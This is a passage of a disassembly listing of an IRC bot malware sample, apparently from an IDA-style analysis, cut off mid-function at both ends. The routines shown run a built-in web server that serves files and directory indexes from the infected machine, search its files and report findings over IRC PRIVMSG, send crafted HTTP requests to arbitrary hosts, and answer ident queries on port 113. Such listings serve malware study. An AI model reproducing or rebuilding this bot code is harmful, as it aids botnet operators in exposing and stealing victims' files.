arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_427110 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_42710C ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CBA24 ; send cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C ; closesocket push [ebp+var_B4] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax call dword_4270A0 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C ; closesocket jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4270F8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_427114 ; GetFileSize push esi mov [ebp+var_330], eax call dword_427070 ; CloseHandle loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi call dword_427084 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 call dword_427080 ; Sleep jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C ; closesocket call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi call dword_427124 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_427120 ; FindNextFileA test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_42711C ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_427118 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h call dword_427080 ; Sleep loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_427120 ; FindNextFileA test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] call dword_427000 ; FindClose cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4270F8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx call dword_427114 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_427128 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4270EC ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 ; WSAGetLastError cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx call dword_427070 ; CloseHandle loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 ; WSAStartup push 6 push 1 push 2 call dword_4CBA54 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC ; recv pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BFD proc near ; DATA XREF: sub_401221+445o ; sub_401ACD+438Bo var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_4CB9D4 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC ; listen cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp+var_C], edi mov edi, 200h loc_410C88: ; CODE XREF: sub_410BFD+EAj ; sub_410BFD+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410D5C movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_238] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp+var_238] push eax call sub_415D38 add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp+var_238] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_238] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_410C88 mov [ebp+var_8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: sub_410BFD+A0j cmp [ebp+var_8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: sub_410BFD+47j ; sub_410BFD+6Bj ... call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp+var_238] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: sub_410BFD+162j push ebx call dword_4CBA6C ; closesocket push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_410BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr 